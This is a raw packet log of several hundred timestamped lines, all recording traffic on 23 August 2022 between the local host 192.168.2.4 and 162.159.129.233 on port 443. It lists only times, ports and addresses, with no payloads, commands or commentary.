Aug 23, 2022 03:43:52.491415024 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.491446972 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.491498947 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.491520882 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.491544008 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.491570950 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.491962910 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.491988897 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.492070913 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.492089987 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.492125988 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.492146015 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.492541075 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.492573977 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.492733955 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.492746115 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.492811918 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.493062973 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.493104935 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.493109941 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.493155956 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.493168116 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.493215084 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.493256092 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.493304968 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.493330002 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.493382931 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.493391991 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.493431091 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.493453979 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.493840933 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.493868113 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.493936062 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.493944883 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.493979931 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.494024992 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.494319916 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.494345903 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.494395971 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.494405985 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.494471073 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.494474888 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.495013952 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.495040894 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.495129108 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.495140076 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.495179892 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.495224953 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.495543003 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.495574951 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.495629072 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.495647907 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.495667934 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.495690107 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.496037006 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.496063948 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.496109009 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.496118069 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.496159077 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.496181011 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.496609926 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.496635914 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.496706963 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.496716976 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.496762037 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.497224092 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.497277021 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.497347116 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.497363091 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.497389078 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.497409105 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.497885942 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.497912884 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.497967958 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.497986078 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.498011112 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.498029947 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.498450994 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.498487949 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.498539925 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.498562098 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.498590946 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.498605967 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.499140024 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.499171019 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.499212980 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.499224901 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.499262094 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.499289036 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.499835014 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.499869108 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.499938965 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.499958992 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.499975920 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.500005007 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.500190020 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.500221014 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.500263929 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.500274897 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.500312090 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.500339985 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.500468969 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.500497103 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.500545025 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.500566006 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.500583887 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.500627995 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.500936031 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.500973940 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.501050949 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.501070023 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.501158953 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.501745939 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.501777887 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.501864910 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.501878977 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.501919985 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.501945019 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.502226114 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.502255917 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.502330065 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.502341032 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.502391100 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.502413034 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.502832890 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.502861977 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.502935886 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.502944946 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.503000975 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.503159046 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.503186941 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.503243923 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.503251076 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.503299952 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.503326893 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.503696918 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.503730059 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.503807068 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.503818989 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.503866911 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.503889084 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.504499912 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.504539967 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.504636049 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.504647970 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.504698038 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.504718065 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.504885912 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.504916906 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.504920959 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.504966021 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.504972935 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.505012035 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.505038023 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.505429029 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.505460978 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.505536079 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.505543947 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.505578041 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.505601883 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.506093979 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.506134033 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.506186962 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.506196976 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.506254911 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.506470919 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.506500006 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.506548882 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.506557941 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.506587982 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.506613016 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.507028103 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.507087946 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.507112026 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.507121086 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.507165909 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.507596016 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.507648945 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.507695913 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.507709026 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.507802963 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.508059978 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.508101940 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.508141994 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.508152008 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.508232117 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.508661032 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.508690119 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.508738041 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.508752108 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.508774042 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.508793116 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.509051085 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.509084940 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.509145021 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.509154081 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.509196043 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.509541035 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.509567976 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.509630919 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.509639978 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.509689093 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.509932995 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.509957075 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.509980917 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.509989977 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.510045052 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.510083914 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.510530949 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.510560989 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.510643959 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.510653019 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.510689020 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.511626005 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.511661053 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.511719942 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.511733055 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.511774063 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.511792898 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.512487888 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.512548923 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.512617111 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.512626886 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.512661934 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.512684107 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.512727022 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.512773991 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.512804985 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.512846947 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.512861013 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.512964010 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.513206005 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.513233900 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.513324976 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.513331890 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.513365030 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.513387918 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.513851881 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.513916016 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.513997078 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.514004946 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.514060020 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.514086008 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.514148951 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.514251947 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.514286995 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.514381886 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.514452934 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.514486074 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.514555931 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.514564037 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.514604092 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.514636993 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.514941931 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.514969110 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.515057087 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.515064955 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.515117884 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.515300989 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.515326977 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.515477896 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.515489101 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.515547037 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.515785933 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.515819073 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.515904903 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.515916109 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.515958071 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.515978098 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.516113997 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.516144037 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.516204119 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.516211987 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.516292095 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.516297102 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.516645908 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.516679049 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.516773939 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.516782999 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.516805887 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.516833067 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.517028093 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.517056942 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.517152071 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.517162085 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.517239094 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.517421961 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.517462969 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.517565966 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.517576933 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.517651081 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.517780066 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.517807961 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.517956972 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.533273935 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.533288956 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.533307076 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.533462048 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.533468962 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.533483982 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.533552885 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.533602953 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.533643007 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.533684015 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.533735991 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.533750057 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.533781052 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.533781052 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.533812046 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.533853054 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.533860922 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.533874035 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.533915043 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.533920050 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.533957005 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.533967972 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.533988953 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.534018040 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.534044981 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.534053087 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.534085035 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.534090042 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.534122944 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.534131050 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.534145117 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.534166098 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.534198046 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.534205914 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.534220934 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.534240961 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.534276962 CEST	49830	443	192.168.2.4	162.159.129.233
Aug 23, 2022 03:43:52.534282923 CEST	443	49830	162.159.129.233	192.168.2.4
Aug 23, 2022 03:43:52.534297943 CEST	443	49830	162.159.129.233	192.168.2.4
